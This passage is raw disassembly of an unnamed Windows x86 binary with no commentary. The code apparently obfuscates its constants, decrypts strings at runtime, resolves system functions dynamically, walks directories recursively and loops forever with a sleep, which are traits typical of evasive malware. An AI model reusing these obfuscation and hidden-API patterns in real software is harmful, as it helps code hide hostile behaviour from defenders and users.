[ebp+eax+var_130+2], 4Bh jnz loc_43B9B3 mov eax, dword_54F12C add eax, dword_54F1FC cmp byte ptr [ebp+eax+var_130+2], 45h jnz loc_43B9B3 movsx eax, word_54F144 cmp byte ptr [ebp+eax+var_12C+3], 52h jnz loc_43B9B3 mov eax, dword_54F17C add eax, dword_54F150 cmp byte ptr [ebp+eax+var_12C+1], 32h jnz short loc_43B9B3 mov eax, [ebp+var_12C] mov edx, ebx add edx, [eax+10h] mov [ebp+var_138], edx mov eax, dword_54F150 add eax, dword_54F23C sub eax, 4 mov [ebp+var_134], eax loc_43B962: ; CODE XREF: sub_43B76D+242j mov eax, [ebp+var_138] mov esi, eax add esi, [ebp+var_134] mov edi, [esi] mov eax, dword_54F20C add eax, dword_54F1D4 sub eax, 0Ch cmp edi, eax jz short loc_43B9C9 push edi call sub_43DFC1 pop ecx mov eax, dword_54F150 sub eax, 4 cmp dword_54F254, eax jnz short loc_43B9C9 mov eax, dword_54F124 add eax, dword_54F16C sub eax, 3 add [ebp+var_134], eax jmp short loc_43B962 ; --------------------------------------------------------------------------- jmp short loc_43B9C9 ; --------------------------------------------------------------------------- loc_43B9B3: ; CODE XREF: sub_43B76D+165j ; sub_43B76D+179j ... add [ebp+var_4], 14h loc_43B9B7: ; CODE XREF: sub_43B76D+C9j mov eax, [ebp+var_8] mov eax, [eax+84h] cmp [ebp+var_4], eax jb loc_43B83B loc_43B9C9: ; CODE XREF: sub_43B76D+E7j ; sub_43B76D+215j ... mov eax, dword_54F1D0 add eax, dword_54F248 sub eax, 0Bh cmp dword_54F254, eax jz short loc_43BA41 call sub_43C7A3 call sub_43C397 call sub_43BC76 mov edx, eax mov [ebp+var_19], dl movzx eax, [ebp+var_19] mov edx, dword_54F0D4 sub edx, 3 cmp eax, edx jz short loc_43BA41 lea eax, [ebp+var_20] push eax mov eax, dword_54F1B4 sub eax, 4 push eax lea eax, [ebp+var_24] push eax push offset sub_444ED7 mov eax, dword_54F18C add eax, dword_54F0D4 sub eax, 6 push eax mov eax, dword_54F228 movsx edx, word_54F0F8 add eax, edx sub eax, 0Dh push eax call ds:dword_54DF20 loc_43BA41: ; CODE XREF: sub_43B76D+270j ; sub_43B76D+295j pop edi pop esi pop ebx leave retn sub_43B76D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BA46 proc near ; CODE XREF: sub_43F052+ABp ; sub_43F052+FDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, esi and eax, [ebp+arg_8] mov edx, esi not edx and edx, [ebp+arg_C] or eax, edx mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43D3EA add esp, 8 mov edi, eax add edi, esi mov eax, edi pop edi pop esi pop ebp retn sub_43BA46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BA83 proc near ; DATA XREF: sub_4447F2+2Do var_1FFF = byte ptr -1FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_4455B4 push esi push edi push 1FFFh lea eax, [ebp+var_1FFF] push eax push [ebp+arg_0] call ds:dword_54DF38 push offset byte_5507D9 call sub_43AAF7 mov edi, dword_54F1F8 sub edi, 2 push edi push eax lea edi, [ebp+var_1FFF] push edi call sub_43DE22 add esp, 10h mov esi, dword_54F1F8 add esi, 0FFFCh cmp eax, esi jz short loc_43BAE4 push [ebp+arg_0] call sub_4427CD pop ecx loc_43BAE4: ; CODE XREF: sub_43BA83+56j xor eax, eax inc eax pop edi pop esi leave retn 8 sub_43BA83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BAED proc near ; CODE XREF: sub_43F052+212p ; sub_43F052+274p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esi, [ebp+arg_C] mov eax, ebx and eax, esi mov edx, [ebp+arg_8] mov ecx, esi not ecx and edx, ecx or eax, edx mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43D3EA add esp, 8 mov edi, eax add edi, ebx mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_43BAED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BB30 proc near ; CODE XREF: sub_444250+133p ; DATA XREF: sub_441843+69o var_104 = byte ptr -104h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 104h push esi push edi mov eax, dword_54F10C mov edx, eax add edx, dword_54F19C sub edx, 6 push edx add eax, dword_54F14C sub eax, 4 push eax push 3 movsx eax, word_54F240 add eax, dword_54F1A0 sub eax, 10h push eax mov eax, dword_54F0C0 sub eax, 2 push eax push 80000000h push offset dword_4CA230 call ds:dword_54DB18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_43BB90 mov eax, 2Ah jmp short loc_43BBFA ; --------------------------------------------------------------------------- loc_43BB90: ; CODE XREF: sub_43BB30+57j mov eax, dword_54F228 movsx edx, word_54F0C4 add eax, edx sub eax, 0Eh push eax lea eax, [ebp+var_104] push eax push 0FFh lea eax, [ebp+var_FF] push eax push edi call ds:dword_446034 mov esi, eax push edi call ds:dword_4CB948 movzx eax, [ebp+var_FF] mov edx, dword_54F1D0 add edx, 1Ah cmp eax, edx jge short loc_43BBE0 mov eax, 2Ah jmp short loc_43BBFA ; --------------------------------------------------------------------------- loc_43BBE0: ; CODE XREF: sub_43BB30+A7j mov eax, dword_54F19C sub eax, 4 cmp esi, eax jnz short loc_43BBF3 mov eax, 2Ah jmp short loc_43BBFA ; --------------------------------------------------------------------------- loc_43BBF3: ; CODE XREF: sub_43BB30+BAj movzx eax, [ebp+var_FF] loc_43BBFA: ; CODE XREF: sub_43BB30+5Ej ; sub_43BB30+AEj ... pop edi pop esi leave retn sub_43BB30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BBFE proc near ; CODE XREF: sub_43E364+B8p ; sub_43E364+273p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] push ebx call ds:dword_446000 mov edi, eax mov eax, dword_54F188 add eax, dword_54F1E4 sub eax, 9 push eax mov eax, dword_54F0B8 add eax, dword_54F224 sub eax, 5 push eax mov eax, dword_54F160 add eax, 1FF7h movsx edx, word_54F148 add eax, edx push eax push esi push edi push ebx movsx eax, word_54F0C4 sub eax, 6 push eax push 0 call ds:dword_446010 mov eax, dword_54F114 movsx edx, word_54F198 add eax, edx sub eax, 2 mov [esi+edi], al mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_43BBFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BC76 proc near ; CODE XREF: sub_43B76D+27Cp ; sub_444ED7:loc_444F1Cp var_108 = dword ptr -108h var_104 = dword ptr -104h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 108h push esi push edi mov edi, dword_54F188 inc edi movsx eax, word_54F0A8 add edi, eax jmp short loc_43BD04 ; --------------------------------------------------------------------------- loc_43BC93: ; CODE XREF: sub_43BC76+A1j push offset byte_5507CD call sub_43AAF7 mov [ebp+var_108], eax push offset byte_5507C3 call sub_43AAF7 push edi push eax mov esi, [ebp+var_108] push esi lea esi, [ebp+var_FF] push esi call ds:dword_50C928 add esp, 18h lea eax, [ebp+var_FF] push eax push 0 push 100000h call ds:dword_4CB938 mov [ebp+var_104], eax or eax, eax jz short loc_43BD03 push eax call ds:dword_4CB948 movsx eax, word_54F128 inc eax cmp edi, eax jnz short loc_43BCFC xor eax, eax inc eax jmp short loc_43BD1F ; --------------------------------------------------------------------------- loc_43BCFC: ; CODE XREF: sub_43BC76+7Fj mov eax, 2 jmp short loc_43BD1F ; --------------------------------------------------------------------------- loc_43BD03: ; CODE XREF: sub_43BC76+6Cj inc edi loc_43BD04: ; CODE XREF: sub_43BC76+1Bj mov eax, dword_54F110 add eax, 5Bh movsx edx, word_54F104 add eax, edx cmp edi, eax jb loc_43BC93 xor eax, eax loc_43BD1F: ; CODE XREF: sub_43BC76+84j ; sub_43BC76+8Bj pop edi pop esi leave retn sub_43BC76 endp ; =============== S U B R O U T I N E ======================================= sub_43BD23 proc near ; CODE XREF: sub_444ED7+Cp push edi push offset asc_5507B4 ; "\v" call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F27C, eax mov eax, dword_54F0EC movsx edx, word_54F164 add eax, edx sub eax, 2 cmp dword_54F27C, eax jnz short loc_43BD6B push offset byte_5507A5 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F27C, eax loc_43BD6B: ; CODE XREF: sub_43BD23+2Fj push offset byte_55078D call sub_43AAF7 pop ecx push eax push dword_54F27C call ds:dword_4491AC mov ds:dword_447FC4, eax pop edi retn sub_43BD23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BD8A proc near ; CODE XREF: sub_444250+572p ; DATA XREF: sub_441843+ECo var_10A = byte ptr -10Ah var_104 = byte ptr -104h var_FF = byte ptr -0FFh arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 104h push edi mov eax, dword_54F0A4 add eax, dword_54F1B4 mov dl, [ebp+arg_0] mov [ebp+eax+var_10A], dl mov eax, dword_54F1E0 sub eax, 4 push eax push 80h push 4 mov eax, dword_54F178 sub eax, 9 push eax mov eax, dword_54F24C movsx edx, word_54F208 add eax, edx sub eax, 0Ah push eax push 40000000h push offset dword_4CA230 call ds:dword_54DB18 mov edi, eax movsx eax, word_54F1C4 add eax, dword_54F170 sub eax, 0Ch push eax lea eax, [ebp+var_104] push eax mov eax, dword_54F178 sub eax, 8 push eax lea eax, [ebp+var_FF] push eax push edi call ds:dword_54DF1C push edi call ds:dword_4CB948 pop edi leave retn sub_43BD8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_43BE1F proc near ; DATA XREF: sub_443B7F+1AAo var_A = byte ptr -0Ah arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov edi, [ebp+arg_0] push offset sub_441207 push dword ptr fs:0 mov fs:0, esp push offset byte_550785 call sub_43AAF7 push dword ptr [edi] push eax lea esi, [ebp+var_A] push esi call ds:dword_50C928 add esp, 10h loc_43BE55: ; CODE XREF: sub_43BE1F+5Dj push 0 push dword ptr [edi] lea eax, [ebp+var_A] push eax call sub_43E77A movsx eax, word_54F190 add eax, dword_54F0B8 sub eax, 0Ch push eax call ds:dword_50C924 add esp, 10h jmp short loc_43BE55 sub_43BE1F endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BE84 proc near ; CODE XREF: sub_43BE84+20Ep ; sub_43BE84+27Cp ... var_26C = dword ptr -26Ch var_268 = byte ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = word ptr -258h var_256 = word ptr -256h var_252 = word ptr -252h var_250 = word ptr -250h var_24E = word ptr -24Eh var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_8 = byte ptr 10h arg_18 = byte ptr 20h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi xor ebx, ebx inc ebx push offset byte_55077D call sub_43AAF7 push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50C928 add esp, 10h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CA228 mov [ebp+var_248], eax movsx eax, word_54F194 neg eax cmp [ebp+var_248], eax jnz loc_43C046 lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_8] push eax call ds:dword_54DB10 mov [ebp+var_260], eax movsx eax, word_54F094 movsx edx, word_54F0D0 add eax, edx sub eax, 8 cmp [ebp+var_260], eax jle short loc_43BF1C lea edi, [ebp+var_268] lea esi, [ebp+arg_18] movsd movsd jmp short loc_43BF27 ; --------------------------------------------------------------------------- loc_43BF1C: ; CODE XREF: sub_43BE84+89j lea edi, [ebp+var_268] lea esi, [ebp+arg_8] movsd movsd loc_43BF27: ; CODE XREF: sub_43BE84+96j lea eax, [ebp+var_258] push eax lea eax, [ebp+var_268] push eax call ds:dword_54CA78 mov eax, dword_54F158 movzx edx, [ebp+var_24E] movzx ecx, [ebp+var_250] mov esi, dword_54F20C lea esi, [eax+esi+35h] imul ecx, esi add edx, ecx movzx ecx, [ebp+var_252] mov esi, dword_54F1F8 add esi, 15h imul ecx, esi mov esi, dword_54F15C add esi, 38h imul ecx, esi add edx, ecx movzx ecx, [ebp+var_256] mov esi, dword_54F098 add esi, 15h imul ecx, esi movsx esi, word_54F1C4 mov edi, dword_54F1B0 lea esi, [esi+edi+9] imul ecx, esi mov esi, dword_54F14C add esi, 35h movsx edi, word_54F128 add esi, edi imul ecx, esi add edx, ecx movzx ecx, [ebp+var_258] mov esi, dword_54F0E0 movsx edi, word_54F09C add esi, edi imul ecx, esi movsx esi, word_54F0B4 add esi, 19h imul ecx, esi mov esi, dword_54F0B8 add esi, 11h add esi, eax mov eax, ecx imul eax, esi movsx ecx, word_54F1E8 mov esi, dword_54F17C lea ecx, [ecx+esi+2Eh] imul eax, ecx add edx, eax mov [ebp+var_25C], edx mov eax, edx mov edx, ds:dword_446030 cmp eax, edx ja loc_43C10F sub edx, eax mov eax, dword_54F0B8 add eax, 10DCh cmp edx, eax jbe loc_43C10F push [ebp+arg_0] call ds:dword_44600C mov [ebp+var_26C], eax jmp loc_43C10F ; --------------------------------------------------------------------------- loc_43C046: ; CODE XREF: sub_43BE84+56j cmp [ebp+var_112], 2Eh jz loc_43C10B push offset dword_550774 call sub_43AAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50C928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43BE84 add esp, 158h jmp short loc_43C10B ; --------------------------------------------------------------------------- loc_43C09F: ; CODE XREF: sub_43BE84+289j lea eax, [ebp+var_13E] push eax push [ebp+var_248] call ds:dword_447FC8 mov ebx, eax or ebx, ebx jz short loc_43C10F cmp [ebp+var_112], 2Eh jz short loc_43C10B push offset byte_55076B call sub_43AAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50C928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43BE84 add esp, 158h loc_43C10B: ; CODE XREF: sub_43BE84+1C9j ; sub_43BE84+219j ... or ebx, ebx jnz short loc_43C09F loc_43C10F: ; CODE XREF: sub_43BE84+194j ; sub_43BE84+1A8j ... pop edi pop esi pop ebx leave retn sub_43BE84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C114 proc near ; CODE XREF: sub_43CDC6:loc_43CDC9p var_252 = byte ptr -252h var_236 = dword ptr -236h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 push ebp mov ebp, esp sub esp, 254h push ebx push esi push edi lea eax, [ebp+var_114] push eax mov eax, dword_54F0C0 add eax, dword_54F18C sub eax, 3 push eax mov eax, dword_54F1E4 sub eax, 4 push eax push 20h mov eax, dword_54F14C movsx edx, word_54F0D0 add eax, edx sub eax, 8 push eax call ds:dword_489A00 lea eax, [ebp+var_10] push eax call ds:dword_4CA430 mov eax, dword_54F214 movzx edx, [ebp+var_6] movzx ecx, [ebp+var_8] mov ebx, dword_54F17C add ebx, 35h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_A] movsx ebx, word_54F144 add ebx, 14h imul ecx, ebx mov ebx, dword_54F124 add ebx, 37h movsx esi, word_54F138 add ebx, esi imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_E] mov ebx, dword_54F178 add ebx, 15h imul ecx, ebx mov ebx, dword_54F1F4 add ebx, 0Fh imul ecx, ebx mov ebx, dword_54F214 add ebx, 39h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_10] mov ebx, dword_54F21C add ebx, 5 add ebx, dword_54F0A0 imul ecx, ebx mov ebx, dword_54F184 lea eax, [eax+ebx+17h] imul ecx, eax movsx eax, word_54F210 movsx ebx, word_54F0F4 lea eax, [eax+ebx+11h] imul ecx, eax mov eax, dword_54F0E0 add eax, 35h movsx ebx, word_54F194 add eax, ebx imul ecx, eax mov eax, edx add eax, ecx mov ds:dword_446030, eax mov eax, dword_54F134 add eax, dword_54F1A0 sub eax, 9 mov [ebp+var_236], eax lea esi, [ebp+var_252] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_114] push edi call sub_43DB03 add esp, 144h pop edi pop esi pop ebx leave retn sub_43C114 endp ; =============== S U B R O U T I N E ======================================= sub_43C266 proc near ; DATA XREF: sub_441207+7o mov eax, dword_54F154 add eax, dword_54F1E4 sub eax, 0Bh push eax call ds:dword_54C960 retn sub_43C266 endp ; =============== S U B R O U T I N E ======================================= sub_43C27C proc near ; DATA XREF: .data:0054F300o mov eax, 80004001h retn 18h sub_43C27C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C284 proc near ; CODE XREF: sub_44526D+171p var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1000h call sub_4455B4 push ebx push esi push edi mov eax, dword_54F1AC add eax, dword_54F154 sub eax, 0Ah push eax lea eax, [ebp+var_FFF] push eax call sub_43D090 add esp, 8 mov edi, dword_54F1C8 sub edi, 8 jmp short loc_43C2D7 ; --------------------------------------------------------------------------- loc_43C2BD: ; CODE XREF: sub_43C284+59j cmp [ebp+edi+var_FFF], 23h jnz short loc_43C2D6 movsx eax, word_54F198 dec eax mov [ebp+edi+var_FFF], al loc_43C2D6: ; CODE XREF: sub_43C284+41j inc edi loc_43C2D7: ; CODE XREF: sub_43C284+37j cmp edi, 0FFFh jb short loc_43C2BD lea esi, [ebp+var_FFF] loc_43C2E5: ; CODE XREF: sub_43C284+108j push offset byte_550767 call sub_43AAF7 push offset dword_447FE0 movsx ebx, word_54F0C4 sub ebx, 6 push ebx mov ebx, dword_54F108 movsx edx, word_54F194 add ebx, edx sub ebx, 9 push ebx push eax movsx ebx, word_54F0D0 add ebx, dword_54F24C sub ebx, 0Fh push ebx mov ebx, dword_54F224 add ebx, dword_54F1D8 sub ebx, 5 push ebx push esi push [ebp+arg_0] mov ebx, dword_54F1D0 add ebx, dword_54F154 sub ebx, 0Dh and ebx, 0FFh push ebx call sub_440B82 add esp, 28h mov ecx, esi or eax, 0FFFFFFFFh loc_43C35B: ; CODE XREF: sub_43C284+DCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43C35B movsx edx, word_54F094 sub edx, 1 mov ebx, eax add ebx, esi mov esi, edx add esi, ebx movsx eax, byte ptr [esi] movsx edx, word_54F218 movsx ecx, word_54F128 add edx, ecx sub edx, 5 cmp eax, edx jnz loc_43C2E5 pop edi pop esi pop ebx leave retn sub_43C284 endp ; =============== S U B R O U T I N E ======================================= sub_43C397 proc near ; CODE XREF: sub_43B76D+277p push edi push offset byte_550759 call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F258, eax mov eax, dword_54F200 sub eax, 5 cmp dword_54F258, eax jnz short loc_43C3D6 push offset asc_55074B ; "\n" call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F258, eax loc_43C3D6: ; CODE XREF: sub_43C397+26j push offset byte_550741 call sub_43AAF7 push eax call sub_442923 mov ds:dword_4CB934, eax push offset byte_550737 call sub_43AAF7 push eax call sub_442923 mov ds:dword_4491A4, eax push offset byte_55072D call sub_43AAF7 push eax call sub_442923 mov ds:dword_50C940, eax push offset byte_550725 call sub_43AAF7 push eax call sub_442923 mov ds:dword_54E040, eax push offset byte_55071D call sub_43AAF7 push eax call sub_442923 mov ds:dword_4899F0, eax push offset byte_550713 call sub_43AAF7 push eax call sub_442923 mov ds:dword_50C924, eax push offset word_55070A call sub_43AAF7 push eax call sub_442923 mov ds:dword_4CC8F0, eax push offset dword_550700 call sub_43AAF7 push eax call sub_442923 mov ds:dword_4899E0, eax push offset dword_5506F8 call sub_43AAF7 push eax call sub_442923 mov ds:dword_44701C, eax push offset asc_5506ED ; "\a" call sub_43AAF7 push eax call sub_442923 mov ds:dword_44603C, eax push offset word_5506E2 call sub_43AAF7 push eax call sub_442923 mov ds:dword_50C928, eax push offset word_5506D6 call sub_43AAF7 push eax call sub_442923 mov ds:dword_4CA21C, eax push offset dword_5506CC call sub_43AAF7 push eax call sub_442923 mov ds:dword_4CB814, eax push offset word_5506C2 call sub_43AAF7 push eax call sub_442923 add esp, 70h mov ds:dword_44602C, eax pop edi retn sub_43C397 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C501 proc near ; CODE XREF: sub_444250:loc_4447CAp ; sub_444ED7+349p var_445 = byte ptr -445h var_341 = byte ptr -341h var_23D = byte ptr -23Dh var_13E = byte ptr -13Eh var_112 = byte ptr -112h push ebp mov ebp, esp sub esp, 448h push ebx push esi push edi lea eax, [ebp+var_341] push eax mov eax, dword_54F1AC add eax, dword_54F0F0 sub eax, 5 push eax mov eax, dword_54F220 sub eax, 2 push eax push 1Ch movsx eax, word_54F0C4 add eax, dword_54F1C8 sub eax, 0Eh push eax call ds:dword_489A00 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_445] push eax call ds:dword_4491A4 push offset asc_5506B7 ; "\a" call sub_43AAF7 push eax lea edx, [ebp+var_445] push edx call ds:dword_44602C add esp, 14h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_445] push eax call ds:dword_4CA228 mov ebx, eax mov eax, dword_54F230 neg eax cmp ebx, eax jz loc_43C64D lea eax, [ebp+var_112] push eax lea eax, [ebp+var_341] push eax call sub_440408 add esp, 8 xor esi, esi inc esi loc_43C5B2: ; CODE XREF: sub_43C501+E6j lea eax, [ebp+var_13E] push eax push ebx call ds:dword_447FC8 mov esi, eax or esi, esi jnz short loc_43C5CF push ebx call ds:dword_4495BC jmp short loc_43C5E9 ; --------------------------------------------------------------------------- loc_43C5CF: ; CODE XREF: sub_43C501+C3j lea eax, [ebp+var_112] push eax lea eax, [ebp+var_341] push eax call sub_440408 add esp, 8 or esi, esi jnz short loc_43C5B2 loc_43C5E9: ; CODE XREF: sub_43C501+CCj movsx eax, word_54F1A8 mov edx, dword_54F174 sub edx, 7 mov ds:byte_54CB10[eax], dl movsx edi, word_54F0A8 jmp short loc_43C645 ; --------------------------------------------------------------------------- loc_43C609: ; CODE XREF: sub_43C501+14Aj push offset byte_5506AD call sub_43AAF7 push ds:dword_4CC920[edi*4] push ds:dword_48A220[edi*4] push eax lea edx, [ebp+var_23D] push edx call ds:dword_50C928 lea eax, [ebp+var_23D] push eax push offset byte_54CB10 call ds:dword_44602C add esp, 1Ch inc edi loc_43C645: ; CODE XREF: sub_43C501+106j cmp edi, dword_54F2A4 jb short loc_43C609 loc_43C64D: ; CODE XREF: sub_43C501+92j pop edi pop esi pop ebx leave retn sub_43C501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C652 proc near ; DATA XREF: .data:0054F304o var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax movsx eax, word_54F104 mov edx, dword_54F110 lea eax, [eax+edx+0BFh] cmp [ebp+arg_4], eax jnz loc_43C78F mov [ebp+var_18], 3 lea eax, [ebp+var_10] push eax mov eax, dword_54F2E8 push eax mov edi, [eax] call dword ptr [edi+1Ch] mov [ebp+var_4], eax mov eax, dword_54F0E4 add eax, dword_54F1AC sub eax, 7 cmp [ebp+var_4], eax jnz loc_43C78B dec [ebp+var_10] lea eax, [ebp+var_1C] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, dword_54F2E8 push edi mov edi, [edi] call dword ptr [edi+20h] mov [ebp+var_4], eax movsx eax, word_54F0B4 add eax, dword_54F1F8 sub eax, 8 cmp [ebp+var_4], eax jnz loc_43C78B lea eax, [ebp+var_20] push eax push offset dword_550AA8 mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax mov eax, dword_54F0F0 sub eax, 3 cmp [ebp+var_4], eax jnz short loc_43C782 lea eax, off_54F2E4 mov [ebp+var_8], eax push eax mov ebx, [eax] call dword ptr [ebx+4] lea eax, [ebp+var_24] push eax push offset dword_5509E8 mov eax, [ebp+var_8] push eax mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax mov eax, dword_54F120 add eax, dword_54F090 sub eax, 0Ch cmp [ebp+var_4], eax jnz short loc_43C770 lea eax, [ebp+var_2C] push eax push offset dword_5509E8 push [ebp+var_24] push [ebp+var_20] call sub_43D748 add esp, 10h mov [ebp+var_28], eax mov eax, [ebp+var_24] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43C770: ; CODE XREF: sub_43C652+F9j mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+8] mov eax, [ebp+var_20] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43C782: ; CODE XREF: sub_43C652+BEj mov eax, [ebp+var_1C] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43C78B: ; CODE XREF: sub_43C652+56j ; sub_43C652+94j xor eax, eax jmp short loc_43C794 ; --------------------------------------------------------------------------- loc_43C78F: ; CODE XREF: sub_43C652+27j mov eax, 80020003h loc_43C794: ; CODE XREF: sub_43C652+13Bj pop edi pop esi pop ebx leave retn 24h sub_43C652 endp ; =============== S U B R O U T I N E ======================================= sub_43C79B proc near ; DATA XREF: .data:0054F2B4o mov eax, 80004001h retn 8 sub_43C79B endp ; =============== S U B R O U T I N E ======================================= sub_43C7A3 proc near ; CODE XREF: sub_43B76D+272p push offset byte_550697 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_48A214, eax push offset byte_550689 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4899EC, eax push offset dword_55067C call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4495BC, eax push offset dword_55066C call sub_43AAF7 push eax call sub_43D730 mov ds:dword_447FC0, eax push offset byte_55065D call sub_43AAF7 push eax call sub_43D730 mov ds:dword_44600C, eax push offset byte_550647 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CB818, eax push offset dword_550630 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_50C920, eax push offset byte_550623 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4495CC, eax push offset dword_55060C call sub_43AAF7 push eax call sub_43D730 mov ds:dword_50C934, eax push offset byte_5505F7 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54C94C, eax push offset dword_5505E4 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54DB10, eax push offset byte_5505CD call sub_43AAF7 push eax call sub_43D730 mov ds:dword_446010, eax push offset byte_5505C1 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_446034, eax push offset dword_5505A8 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CC900, eax push offset byte_55059B call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CA544, eax push offset word_55058A call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54DF28, eax push offset word_550572 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54CA78, eax push offset word_55055A call sub_43AAF7 push eax call sub_43D730 mov ds:dword_446014, eax push offset word_55054A call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CC908, eax push offset dword_550538 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CA228, eax push offset byte_55051D call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CB944, eax push offset asc_55050E ; "\v" call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54DF2C, eax push offset word_5504FA call sub_43AAF7 push eax call sub_43D730 mov ds:dword_446040, eax push offset word_5504EA call sub_43AAF7 push eax call sub_43D730 mov ds:dword_48A21C, eax push offset byte_5504DB call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54DB1C, eax push offset asc_5504CC ; "\v" call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CC910, eax push (offset asc_5504BC+2) call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CB938, eax push offset byte_5504AF call sub_43AAF7 push eax call sub_43D730 mov ds:dword_54DB18, eax push offset dword_5504A0 call sub_43AAF7 push eax call sub_43D730 mov ds:dword_4CB810, eax push offset dword_55048C call sub_43AAF7 push eax call sub_43D730 mov ds:dword_449598, eax push offset dword_55047C call sub_43AAF7 push eax call sub_43D730 